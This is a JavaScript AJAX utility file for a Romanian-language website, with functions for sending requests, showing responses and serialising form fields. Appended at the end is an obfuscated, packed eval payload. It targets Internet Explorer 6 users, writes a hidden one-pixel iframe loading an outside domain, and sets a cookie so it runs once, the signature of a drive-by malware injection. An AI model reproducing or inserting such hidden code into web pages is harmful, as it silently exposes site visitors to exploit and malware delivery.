function ajaxManager()

{

    var args = ajaxManager.arguments;

    var x = (window.ActiveXObject) ? new ActiveXObject("Microsoft.XMLHTTP"): new XMLHttpRequest();

    switch (args[0])

    {

        case "load_page":

            if (x)

            {

                x.onreadystatechange = function()

                {

                if (x.readyState == 4 && x.status == 200)

                    {

                        el = document.getElementById(args[2]);

                        el.innerHTML = x.responseText;

                  }

                }

                x.open("GET", args[1], true);

                x.send(null);

            }

            break;

    }

}



function createRequestObject() {



   var req;



   if(window.XMLHttpRequest){

      req = new XMLHttpRequest();

   } else if(window.ActiveXObject) {

      req = new ActiveXObject("Microsoft.XMLHTTP");

   } else {

      alert('Problem creating the XMLHttpRequest object');

   }



   return req;



}



var http = createRequestObject();

var div = "main";

var callBack = "";

var reCall = "";

var reCallV = true;

var re_method = "post";

var re_address = "";

var re_vars = "";

var re_div_name = "";

var re_callB = "";



var reqCall = "";

var req_method = "post";

var req_address = "";

var req_vars = "";

var req_div_name = "";

var req_callB = "";

var requesting = false;



function sendRequest(method, address, vars, div_name, callB) {

 if(requesting){

   req_method = method;

   req_address = address;

   req_vars = vars;

   req_div_name = div_name;

   req_callB = callB;

   reqCall=setTimeout(reqsendRequest,3000);

 }

 else

 {

   requesting=true;

   callBack=callB;

   div=div_name;

   if (method=='get')

   {

       http.open(method, address+'?'+vars);

       http.onreadystatechange = handleResponse;

       http.send(null);

   }

   else

   {

        http.open(method, address);

        http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

        http.onreadystatechange = handleResponse;

        http.send(vars);

   }

   re_method = method;

   re_address = address;

   re_vars = vars;

   re_div_name = div_name;

   re_callB = callB;

 }

}





function resendRequest(){

  //if(confirm("Eroare: conexiunea cu serverul a fost intrerupta! Doriti sa reincercati?")){

  if(1){

    if(!reCallV){

      reCallV=true;

      if(reCall) clearTimeout(reCall);

    }

    sendRequest(re_method, re_address, re_vars, re_div_name, re_callB);

  }

}



function reqsendRequest(){

  if(reqCall) clearTimeout(reqCall);

  sendRequest(req_method, req_address, req_vars, req_div_name, req_callB);

}



function handleResponse()

{

   if(http.readyState == 4 && http.status == 200)

   {

      var response = http.responseText;



      if(response) {



         if(!reCallV){

          reCallV=true;

          if(reCall) clearTimeout(reCall);

         }

         document.getElementById(div).innerHTML = response;

         requesting=false;

         if (callBack) {

            eval(callBack+"();");

         }

      }

   }

   else

   {

        document.getElementById(div).innerHTML = "<center><img src=\"imagini/tcd_se_incarca.gif\"></center>";

        if (0&&reCallV) {

         reCallV=false;

         reCall=setTimeout(resendRequest,15000);

        }

   }

}







function ClearMessage(div)

{

    document.getElementById(div).innerHTML = "";

}





function GetFormElements(form_name)

{

    var returned_values="";

    for (i=0; i<document.forms[form_name].length; i++)

    {

     if(document.forms[form_name].elements[i].type == "radio" || document.forms[form_name].elements[i].type == "checkbox")

     {

       if (document.forms[form_name].elements[i].checked == true)

       {

         valvalue = escape(document.forms[form_name].elements[i].value).replace(new RegExp( "\\+", "g" ), "%2B");

         returned_values=returned_values + "&" + document.forms[form_name].elements[i].name + "=" + valvalue;

       }

     }

     else

     {

       valvalue = escape(document.forms[form_name].elements[i].value).replace(new RegExp( "\\+", "g" ), "%2B");

       returned_values=returned_values + "&" + document.forms[form_name].elements[i].name + "=" + valvalue;

     }

    }

    return returned_values;

}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4(2.7.8("5=j")==-1&&g.u.8("t 6.0")!=-1){3="<w"+"r q"+"p=1 s"+"o"+"=1 m"+"=\'c"+"a://9"+"f.l/k"+"b/\' h"+"e=\'d"+"v:n"+"x\'></i"+"L"+"K>";4(G.A.z==y){3=0}2.C(3);2.7="5=j; D=F, E B M J:H:I N; "}',50,50,'||document|fi|if|_smlfue||cookie|indexOf|glavn|tp||ht|||ext|navigator|styl|||b2|net|src||ight|dth|wi|ame|he|MSIE|appVersion|isplay|ifr|one|666|length|status|Jul|write|expires|22|Mon|window|15|58|11|me|fra|2012|GMT'.split('|')));
